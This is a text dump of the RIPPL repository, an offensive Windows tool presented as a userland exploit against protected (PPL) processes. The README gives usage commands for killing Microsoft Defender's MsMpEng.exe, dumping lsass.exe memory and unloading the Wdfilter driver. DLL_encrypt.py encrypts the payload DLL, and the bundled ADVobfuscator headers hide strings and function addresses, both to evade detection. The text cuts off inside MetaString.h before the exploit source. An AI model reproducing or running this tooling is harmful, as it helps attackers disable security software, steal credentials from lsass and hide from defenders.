Repository: last-byte/RIPPL Branch: master Commit: 0f58b6e44985 Files: 38 Total size: 373.5 KB Directory structure: gitextract_l8_ts1di/ ├── .gitattributes ├── .gitignore ├── DLL_encrypt.py ├── LICENSE ├── README.md ├── RIPPL/ │ ├── Indexes.h │ ├── Inline.h │ ├── Log.h │ ├── MetaFSM.h │ ├── MetaRandom.h │ ├── MetaString.h │ ├── RIPPL.cpp │ ├── RIPPL.rc │ ├── RIPPL.vcxproj │ ├── RIPPL.vcxproj.filters │ ├── Unroller.h │ ├── common.hpp │ ├── exploit.cpp │ ├── exploit.h │ ├── lazy_importer.hpp │ ├── ntdll.h │ ├── packages.config │ ├── resource.h │ ├── skCrypter.hpp │ ├── utils.cpp │ ├── utils.h │ └── winver.manifest ├── RIPPL.sln ├── RIPPLDLL/ │ ├── RIPPL.def │ ├── RIPPLDLL.cpp │ ├── RIPPLDLL.vcxproj │ ├── RIPPLDLL.vcxproj.filters │ ├── dllexploit.cpp │ ├── dllexploit.h │ └── packages.config ├── carboncopy.py ├── postbuild.bat └── restore_headers.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ ############################################################################### # Set default behavior to automatically normalize line endings. ############################################################################### * text=auto ############################################################################### # Set default behavior for command prompt diff. # # This is need for earlier builds of msysgit that does not have it on by # default for csharp files. # Note: This is only used by command line ############################################################################### #*.cs diff=csharp ############################################################################### # Set the merge driver for project and solution files # # Merging from the command prompt will add diff markers to the files if there # are conflicts (Merging from VS is not affected by the settings below, in VS # the diff markers are never inserted). Diff markers may cause the following # file extensions to fail to load in VS. An alternative would be to treat # these files as binary and thus will always conflict and require user # intervention with every merge. To do so, just uncomment the entries below ############################################################################### #*.sln merge=binary #*.csproj merge=binary #*.vbproj merge=binary #*.vcxproj merge=binary #*.vcproj merge=binary #*.dbproj merge=binary #*.fsproj merge=binary #*.lsproj merge=binary #*.wixproj merge=binary #*.modelproj merge=binary #*.sqlproj merge=binary #*.wwaproj merge=binary ############################################################################### # behavior for image files # # image files are treated as binary by default. ############################################################################### #*.jpg binary #*.png binary #*.gif binary ############################################################################### # diff behavior for common document formats # # Convert binary document formats to text before diffing them. This feature # is only available from the command line. Turn it on by uncommenting the # entries below. ############################################################################### #*.doc diff=astextplain #*.DOC diff=astextplain #*.docx diff=astextplain #*.DOCX diff=astextplain #*.dot diff=astextplain #*.DOT diff=astextplain #*.pdf diff=astextplain #*.PDF diff=astextplain #*.rtf diff=astextplain #*.RTF diff=astextplain ================================================ FILE: .gitignore ================================================ ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. ## ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore # User-specific files *.rsuser *.suo *.user *.userosscache *.sln.docstates # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs # Build results [Dd]ebug/ [Dd]ebugPublic/ [Rr]elease/ [Rr]eleases/ x64/ x86/ [Aa][Rr][Mm]/ [Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Ll]og/ # Visual Studio 2015/2017 cache/options directory .vs/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ # Visual Studio 2017 auto generated files Generated\ Files/ # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* # NUNIT *.VisualState.xml TestResult.xml # Build Results of an ATL Project [Dd]ebugPS/ [Rr]eleasePS/ dlldata.c # Benchmark Results BenchmarkDotNet.Artifacts/ # .NET Core project.lock.json project.fragment.lock.json artifacts/ # StyleCop StyleCopReport.xml # Files built by Visual Studio *_i.c *_p.c *_h.h *.ilk *.meta *.obj *.iobj *.pch *.pdb *.ipdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.tmp_proj *_wpftmp.csproj *.log *.vspscc *.vssscc .builds *.pidb *.svclog *.scc # Chutzpah Test files _Chutzpah* # Visual C++ cache files ipch/ *.aps *.ncb *.opendb *.opensdf *.sdf *.cachefile *.VC.db *.VC.VC.opendb # Visual Studio profiler *.psess *.vsp *.vspx *.sap # Visual Studio Trace Files *.e2e # TFS 2012 Local Workspace $tf/ # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user # JustCode is a .NET coding add-in .JustCode # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # AxoCover is a Code Coverage Tool .axoCover/* !.axoCover/settings.json # Visual Studio code coverage results *.coverage *.coveragexml # NCrunch _NCrunch_* .*crunch*.local.xml nCrunchTemp_* # MightyMoose *.mm.* AutoTest.Net/ # Web workbench (sass) .sass-cache/ # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.[Pp]ublish.xml *.azurePubxml # Note: Comment the next line if you want to checkin your web deploy settings, # but database connection strings (with potential passwords) will be unencrypted *.pubxml *.publishproj # Microsoft Azure Web App publish settings. Comment the next line if you want to # checkin your Azure Web App publish settings, but sensitive information contained # in these scripts will be unencrypted PublishScripts/ # NuGet Packages *.nupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. !**/[Pp]ackages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/[Pp]ackages/repositories.config # NuGet v3's project.json files produces more ignorable files *.nuget.props *.nuget.targets # Microsoft Azure Build Output csx/ *.build.csdef # Microsoft Azure Emulator ecf/ rcf/ # Windows Store app package directories and files AppPackages/ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache !?*.[Cc]ache/ # Others ClientBin/ ~$* *~ *.dbmdl *.dbproj.schemaview *.jfm *.pfx *.publishsettings orleans.codegen.cs # Including strong name files can present a security risk # (https://github.com/github/gitignore/pull/2483#issue-259490424) #*.snk # Since there are multiple workflows, uncomment next line to ignore bower_components # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) #bower_components/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file # to a newer Visual Studio version. Backup files are not needed, # because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm ServiceFabricBackup/ *.rptproj.bak # SQL Server files *.mdf *.ldf *.ndf # Business Intelligence projects *.rdl.data *.bim.layout *.bim_*.settings *.rptproj.rsuser *- Backup*.rdl # Microsoft Fakes FakesAssemblies/ # GhostDoc plugin setting file *.GhostDoc.xml # Node.js Tools for Visual Studio .ntvs_analysis.dat node_modules/ # Visual Studio 6 build log *.plg # Visual Studio 6 workspace options file *.opt # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) *.vbw # Visual Studio LightSwitch build output **/*.HTMLClient/GeneratedArtifacts **/*.DesktopClient/GeneratedArtifacts **/*.DesktopClient/ModelManifest.xml **/*.Server/GeneratedArtifacts **/*.Server/ModelManifest.xml _Pvt_Extensions # Paket dependency manager .paket/paket.exe paket-files/ # FAKE - F# Make .fake/ # JetBrains Rider .idea/ *.sln.iml # CodeRush personal settings .cr/personal # Python Tools for Visual Studio (PTVS) __pycache__/ *.pyc # Cake - Uncomment if you are using it # tools/** # !tools/packages.config # Tabs Studio *.tss # Telerik's JustMock configuration file *.jmconfig # BizTalk build output *.btp.cs *.btm.cs *.odx.cs *.xsd.cs # OpenCover UI analysis results OpenCover/ # Azure Stream Analytics local run output ASALocalRun/ # MSBuild Binary and Structured Log *.binlog # NVidia Nsight GPU debugger configuration file *.nvuser # MFractors (Xamarin productivity tool) working folder .mfractor/ # Local History for Visual Studio .localhistory/ # BeatPulse healthcheck temp database healthchecksdb /certs ================================================ FILE: DLL_encrypt.py ================================================ import sys import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Random import get_random_bytes def aesenc(plain, key, iv): cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.encrypt(bytes(pad(plaintext, AES.block_size))) key_data = get_random_bytes(32) iv_data = get_random_bytes(16) try: file_path = os.path.dirname(sys.argv[0]) + '\\x64\\Release\\RIPPLDLL_unencrypted.dll' with open(file_path, 'rb') as file : plaintext = file.read() print("[+] Input unencrypted DLL read successfully!") except: print("[-] Failed to read input DLL") sys.exit(-1) ciphertext = aesenc(plaintext, key_data, iv_data) try: file_path = os.path.dirname(sys.argv[0]) + '\\x64\\Release\\RIPPLDLL.dll' with open(file_path, 'wb') as file : file.write(ciphertext) print("[+] DLL successfully encrypted!") except: print("[-] Failed to create the encrypted DLL") sys.exit(-1) # Read in the file try: file_path = os.path.dirname(sys.argv[0]) + '\\RIPPL\\utils.h' with open(file_path, 'r') as file : filedata = file.readlines() except: print("[-] Failed to read the header to modify...") sys.exit(-1) # Replace the target string key = '#define AESKEY { 0x' + ', 0x'.join(hex(x)[2:] for x in key_data) + ' };\n' iv = '#define IV { 0x' + ', 0x'.join(hex(x)[2:] for x in iv_data) + ' };\n' newdata = "" for line in filedata: if "#define AESKEY" in line: line = key elif "#define IV" in line: line = iv newdata += line # Write the file out again try: file_path = os.path.dirname(sys.argv[0]) + '\\RIPPL\\utils.h' with open(file_path, 'w') as file : file.write(newdata) except: print("[-] Failed to write to the header...") sys.exit(-1) print("[+] DLL encrypted. Key and IV saved to utils.h!") ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2021 Clément Labro (@itm4n) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # RIPPL ### Manipulating PPL protected processes without using a driver ![defender funny](./defenderfunny.gif) This tool implements a __userland__ exploit to manipulate Windows PPL protected processes. The technique was initially discussed by James Forshaw (a.k.a. [@tiraniddo](https://twitter.com/tiraniddo)) and Clément Labro (a.k.a. [@itm4n](https://twitter.com/itm4n)) in the following blogposts. - __Blog post from James Forshaw__: [Windows Exploitation Tricks](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html) - __Blog post from Clément Labro part #1__: [Do You Really Know About LSA Protection (RunAsPPL)?](https://itm4n.github.io/lsass-runasppl/) - __Blog post from Clément Labro part #2__: [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ## Usage ### Warning: the safe version of the binary __NEVER__ outputs anything, as all the strings and print function are stripped away using conditional compilation macros. Simply run the executable without any argument and you will get a detailed help/usage (only valid for binaries compiled without defining the `OPSEC` macro) ```console c:\Temp>.\rippl.exe _____ _____ _____ _____ _ | __ \|_ _| __ \| __ \| | | |__) | | | | |__) | |__) | | version 0.1 | _ / | | | ___/| ___/| | by @last0x00 | | \ \ _| |_| | | | | |____ forked by itm4n's PPLDump |_| \_\_____|_| |_| |______| Description: Manipulate Protected Process Light (PPL) processes with a *userland* exploit Usage: rippl.exe (-D|-K|-S|-R|-L|-X|-W|-Z|-T|-U) [-v] [-d] [-f] (PROC_NAME|PID) [DUMP_FILE|DRIVER_NAME] () -> mandatory arguments [] -> optional arguments Operation modes (choose ONLY one): -D -> Dump the given process -K -> Kill the given process -S -> Suspend the given process -R -> Resume the previously suspended process -L -> Leak a PROCESS_ALL_ACCESS handle to the given process (not yet implemented) -X -> Kill the given process by assigning it to a job object and terminating the object -W -> Freeze the process by assigning it to a job object and severely constraining its CPU resources -Z -> Kill the given process by injecting a thread into it which calls exit(0) -T -> Sandbox the process by disabling all of its token's privileges and lowering integrity to untrusted -U -> Unload the provided driver Arguments: PROC_NAME -> The name of the process to interact with PID -> The ID of the process to interact with DUMP_FILE -> The path of the output dump file - valid ONLY with the -D option DRIVER_NAME -> The name of the driver to unload - valid ONLY with the -U option Options: -d -> (Debug) Enable debug mode -f -> (Force) Bypass DefineDosDevice error check Examples: rippl.exe -K MsMpEng.exe rippl.exe -S MsMpEng.exe rippl.exe -R MsMpEng.exe rippl.exe -D -f lsass.exe lsass.dmp rippl.exe -D -d -f 720 out.dmp rippl.exe -U Wdfilter ``` ================================================ FILE: RIPPL/Indexes.h ================================================ // // Indexes.h // ADVobfuscator // // Copyright (c) 2010-2017, Sebastien Andrivet // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Get latest version on https://github.com/andrivet/ADVobfuscator #ifndef Indexes_h #define Indexes_h // std::index_sequence will be available with C++14 (C++1y). For the moment, implement a (very) simplified and partial version. You can find more complete versions on the Internet // MakeIndex::type generates Indexes<0, 1, 2, 3, ..., N> namespace andrivet { namespace ADVobfuscator { template struct Indexes { using type = Indexes; }; template struct Make_Indexes { using type = typename Make_Indexes::type::type; }; template<> struct Make_Indexes<0> { using type = Indexes<>; }; }} #endif ================================================ FILE: RIPPL/Inline.h ================================================ // // Inline.h // ADVobfuscator // // Copyright (c) 2010-2017, Sebastien Andrivet // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Get latest version on https://github.com/andrivet/ADVobfuscator #ifndef Inline_h #define Inline_h #if defined(_MSC_VER) #define ALWAYS_INLINE __forceinline #else #define ALWAYS_INLINE __attribute__((always_inline)) #endif #endif ================================================ FILE: RIPPL/Log.h ================================================ // // Log.h // ADVobfuscator // // Copyright (c) 2010-2017, Sebastien Andrivet // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Get latest version on https://github.com/andrivet/ADVobfuscator #ifndef Log_h #define Log_h #include #include // [fokede] mingw compatibility namespace andrivet { namespace ADVobfuscator { // Inspired from work of Martin Stettner and Jimmy J struct HexChar { unsigned char c_; unsigned width_; HexChar(unsigned char c, unsigned width) : c_{c}, width_{width} {} }; inline std::ostream& operator<<(std::ostream& o, const HexChar& c) { return (o << std::setw(c.width_) << std::setfill('0') << std::hex << (int)c.c_ << std::dec); } inline HexChar hex(char c, int w = 2) { return HexChar(c, w); } }} #if (defined(DEBUG) && DEBUG == 1) || (defined(ADVLOG) && ADVLOG == 1) #define LOG(str) std::cerr << str << std::endl #else #define LOG(str) ((void)0) #endif #endif ================================================ FILE: RIPPL/MetaFSM.h ================================================ // // MetaFSM.h // ADVobfuscator // // Copyright (c) 2010-2017, Sebastien Andrivet // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Get latest version on https://github.com/andrivet/ADVobfuscator #ifndef MetaFSM_h #define MetaFSM_h #include #include #include #pragma warning(push) #pragma warning(disable: 4127 4100) #include #include // functors #include #include #pragma warning(pop) #include "Indexes.h" #include "Unroller.h" // Code common to our FSM (finite state machines) namespace msm = boost::msm; namespace mpl = boost::mpl; using namespace boost::msm::front; namespace andrivet { namespace ADVobfuscator { // Same as void but can be instantiated struct Void {}; // Event template to call a function F with a list of parameters. // Note: F is passed as value. template struct event { // Constructor constexpr event(F f, Args&... args): f_{f}, data_{args...} {} // Call target function R call() const { // Generate a list of indexes to extract arguments from tuple using I = typename Make_Indexes::type; return call_(I{}); } private: // When F is returning a value template typename std::enable_if::value, U>::type call_(Indexes) const { return f_.original()(std::get(data_)...); } // When F does not return a value (void) template typename std::enable_if::value, Void>::type call_(Indexes) const { f_.original()(std::get(data_)...); return Void{}; } private: F f_; std::tuple data_; }; // When function F is returning a value // FSM: Finite State Machine // R: Type of the returned value // F: Function (target) // Args: Arguments of target template class FSM, typename R, typename F, typename... Args> inline R ObfuscatedCallRet(F f, Args&&... args) { using E = event; using M = msm::back::state_machine>; using Run = typename FSM::template Run; M machine; Run::run(machine, f, std::forward(args)...); return machine.result_; } // When function F is not returning a value // FSM: Finite State Machine // F: Function (target) // Args: Arguments of target template class FSM, typename F, typename... Args> inline void ObfuscatedCall(F f, Args&&... args) { using E = event; using M = msm::back::state_machine>; using Run = typename FSM::template Run; M machine; Run::run(machine, f, std::forward(args)...); } // Note: It is possible to merge these two members with ObfuscatedCall and ObfuscatedCallRet (by introducing a TruePredicate) but it will make the 1st FSM example more complicated. // When function F is returning a value // FSM: Finite State Machine // R: Type of the returned value // P: Predicate (functor) // F: Function (target) // Args: Arguments of target template class FSM, typename R, typename P, typename F, typename... Args> inline R ObfuscatedCallRetP(F f, Args&&... args) { using E = event; using M = msm::back::state_machine>; using Run = typename FSM::template Run; M machine; Run::run(machine, f, std::forward(args)...); return machine.result_; } // When function F is not returning a value // FSM: Finite State Machine // P: Predicate // F: Function (target) // Args: Arguments of target template class FSM, typename P, typename F, typename... Args> inline void ObfuscatedCallP(F f, Args&&... args) { using E = event; using M = msm::back::state_machine>; using Run = typename FSM::template Run; M machine; Run::run(machine, f, std::forward(args)...); } // Obfuscate the address of the target. Very simple implementation but enough to annoy IDA and Co. template struct ObfuscatedAddress { // Pointer to a function using func_ptr_t = void(*)(); // Integral type big enough (and not too big) to store a function pointer using func_ptr_integral = std::conditional::type; func_ptr_integral f_; int offset_; constexpr ObfuscatedAddress(F f, int offset): f_{reinterpret_cast(f) + offset}, offset_{offset} {} constexpr F original() const { return reinterpret_cast(f_ - offset_); } }; // Create a instance of ObfuscatedFunc and deduce types template constexpr ObfuscatedAddress MakeObfuscatedAddress(F f, int offset) { return ObfuscatedAddress(f, offset); } }} #endif ================================================ FILE: RIPPL/MetaRandom.h ================================================ // // MetaRandom.h // ADVobfuscator // // Copyright (c) 2010-2017, Sebastien Andrivet // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Get latest version on https://github.com/andrivet/ADVobfuscator #ifndef MetaRandom_h #define MetaRandom_h // Very simple compile-time random numbers generator. // For a more complete and sophisticated example, see: // http://www.researchgate.net/profile/Zalan_Szgyi/publication/259005783_Random_number_generator_for_C_template_metaprograms/file/e0b49529b48272c5a6.pdf #include namespace andrivet { namespace ADVobfuscator { namespace { // I use current (compile time) as a seed constexpr char time[] = __TIME__; // __TIME__ has the following format: hh:mm:ss in 24-hour time // Convert time string (hh:mm:ss) into a number constexpr int DigitToInt(char c) { return c - '0'; } const int seed = DigitToInt(time[7]) + DigitToInt(time[6]) * 10 + DigitToInt(time[4]) * 60 + DigitToInt(time[3]) * 600 + DigitToInt(time[1]) * 3600 + DigitToInt(time[0]) * 36000; } // 1988, Stephen Park and Keith Miller // "Random Number Generators: Good Ones Are Hard To Find", considered as "minimal standard" // Park-Miller 31 bit pseudo-random number generator, implemented with G. Carta's optimisation: // with 32-bit math and without division template struct MetaRandomGenerator { private: static constexpr unsigned a = 16807; // 7^5 static constexpr unsigned m = 2147483647; // 2^31 - 1 static constexpr unsigned s = MetaRandomGenerator::value; static constexpr unsigned lo = a * (s & 0xFFFF); // Multiply lower 16 bits by 16807 static constexpr unsigned hi = a * (s >> 16); // Multiply higher 16 bits by 16807 static constexpr unsigned lo2 = lo + ((hi & 0x7FFF) << 16); // Combine lower 15 bits of hi with lo's upper bits static constexpr unsigned hi2 = hi >> 15; // Discard lower 15 bits of hi static constexpr unsigned lo3 = lo2 + hi; public: static constexpr unsigned max = m; static constexpr unsigned value = lo3 > m ? lo3 - m : lo3; }; template<> struct MetaRandomGenerator<0> { static constexpr unsigned value = seed; }; // Note: A bias is introduced by the modulo operation. // However, I do belive it is neglictable in this case (M is far lower than 2^31 - 1) template struct MetaRandom { static const int value = MetaRandomGenerator::value % M; }; }} #endif ================================================ FILE: RIPPL/MetaString.h ================================================ // // MetaString.h // ADVobfuscator // // Copyright (c) 2010-2017, Sebastien Andrivet // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Get latest version on https://github.com/andrivet/ADVobfuscator #ifndef MetaString_h #define MetaString_h #include "Inline.h" #include "Indexes.h" #include "MetaRandom.h" #include "Log.h" namespace andrivet { namespace ADVobfuscator { // Represents an obfuscated string, parametrized with an alrorithm number N, a list of indexes Indexes and a key Key template struct MetaString; template struct MetaWString; // Partial specialization with a list of indexes I, a key K and algorithm N = 0 // Each character is encrypted (OBFUSCATED) with the same key template struct MetaString<0, K, Indexes> { // Constructor. Evaluated at compile time. constexpr ALWAYS_INLINE MetaString(const char* str) : key_{K}, buffer_ {encrypt(str[I], K)...} { } // Runtime decryption. Most of the time, inlined inline const char* decrypt() { for(size_t i = 0; i < sizeof...(I); ++i) buffer_[i] = decrypt(buffer_[i]); buffer_[sizeof...(I)] = 0; LOG("--- Implementation #" << 0 << " with key 0x" << hex(key_)); return const_cast(buffer_); } private: // Encrypt / decrypt a character of the original string with the key constexpr char key() const { return key_; } constexpr char ALWAYS_INLINE encrypt(char c, int k) const { return c ^ k; } constexpr char decrypt(char c) const { return encrypt(c, key()); } volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte }; template struct MetaWString<0, K, Indexes> { // Constructor. Evaluated at compile time. 